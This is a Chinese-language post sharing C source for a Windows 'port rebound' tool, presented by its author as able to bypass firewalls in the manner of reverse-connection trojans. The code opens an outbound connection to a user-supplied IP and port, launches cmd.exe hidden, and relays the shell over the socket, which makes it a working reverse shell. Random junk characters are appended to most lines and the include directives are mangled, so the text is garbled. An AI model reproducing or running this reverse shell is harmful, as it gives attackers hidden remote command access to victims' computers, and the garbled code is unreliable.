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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =".sCV9"N  
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/* ============================== HKXtS>7d  
Rebound port in Windows NT 0Yo(pW,k  
By wind,2006/7 hY(q@_s  
===============================*/ #qcF2&a%  
#include c,,(s{1  
#include }i F|NIV  
oC  }  
#pragma comment(lib,"wsock32.lib") i6-&$<  
vEZd;40y  
void OutputShell(); XS_Ib\-50  
SOCKET sClient; }C'h<%[P  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 0l'"idra  
ugy:^U  
void main(int argc,char **argv) c#L.I  
{ cx_$`H  
WSADATA stWsaData; p!o+8Xz5  
int nRet; !h.bD/? K  
SOCKADDR_IN stSaiClient,stSaiServer; CkeqK  
1i=p5,|  
if(argc != 3) IKFNu9*"h  
{ KB`">zq$u  
printf("Useage:\n\rRebound DestIP DestPort\n"); 8(@ Y@`/  
return; I AFj_VWC0  
} j"4]iI+{"  
+'`I]K>  
WSAStartup(MAKEWORD(2,2),&stWsaData); Yw6d-5=:  
jQ X9KwSP  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Egm-PoPe  
X B[C&3I  
stSaiClient.sin_family = AF_INET; Fu*Qci1Z  
stSaiClient.sin_port = htons(0); E/Adi^  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); /zTx+U.\I  
oFDJwOJ'Bj  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /8[T2Z!  
{ xN>+!&3%w  
printf("Bind Socket Failed!\n"); FNHJHuTe  
return; _OY<Hb3%M  
} BnPL>11Y  
T,uVt^.R+  
stSaiServer.sin_family = AF_INET; & m~   
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); d$<1Ma}  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 15Vo_ wD<y  
Y{c+/n3d  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ]%<0V,G q  
{ gMB/ ~g5b0  
printf("Connect Error!"); PESJ7/^E  
return; G&\!!i|IQ  
} hB1Gtc4n  
OutputShell(); I`KBj6n  
} G_5E#{u  
LT:*K!>NOL  
void OutputShell() x67,3CLy?  
{ 'qlWDt/  
char szBuff[1024]; gVpp9VB  
SECURITY_ATTRIBUTES stSecurityAttributes; 8 huB<^  
OSVERSIONINFO stOsversionInfo; v>' mW  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Y^ ti;:  
STARTUPINFO stStartupInfo; -FW'i10\2+  
char *szShell; .{Df"e>  
PROCESS_INFORMATION stProcessInformation; >vk?wY^f  
unsigned long lBytesRead; :qxd s>Xm  
'k!V!wcD^y  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7p+uHm  
5imqZw  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1+NmiGKg  
stSecurityAttributes.lpSecurityDescriptor = 0; aj6{  
stSecurityAttributes.bInheritHandle = TRUE; $-R9J6NN  
z! DD'8r>  
Xb5 $ijH  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;h#nal>w@S  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ((E5w:=?  
}ej-Lu,b3  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); OJ4-p&1  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5c+7c@.  
stStartupInfo.wShowWindow = SW_HIDE; t.]c44RY  
stStartupInfo.hStdInput = hReadPipe; !Z`xwk"!  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; -"X} )N2  
Rss=ihlM  
GetVersionEx(&stOsversionInfo);  !#Hca  
oQ_n:<3X  
switch(stOsversionInfo.dwPlatformId) Tx0l^(n  
{ K}YOs.  
case 1: ;J40t14u  
szShell = "command.com"; V[BlT|t  
break; dD}!E  
default: #^;^_  
szShell = "cmd.exe"; WA79(B  
break; G)wIxm$?0  
} "K$ y(}C  
gKay3}w  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); `@r#o&  
y1zep\-D  
send(sClient,szMsg,77,0); Ea2&7  
while(1) dL!K''24{  
{ p!w}hB598  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); k.CHMl]  
if(lBytesRead) oO)KhA?y  
{ k%v/&ojI  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); D $[/|%3  
send(sClient,szBuff,lBytesRead,0); kzcD}?mSS  
} M"$TXXe  
else ;r XhK$  
{ dk9nhS+faJ  
lBytesRead=recv(sClient,szBuff,1024,0); Ch9A6?=Hj8  
if(lBytesRead<=0) break; q{t"=@lX01  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `O/RNMaC  
} m K@a7fF?  
} v__;oqN0  
rO`n S<G  
return; 5cE!'3Y  
}
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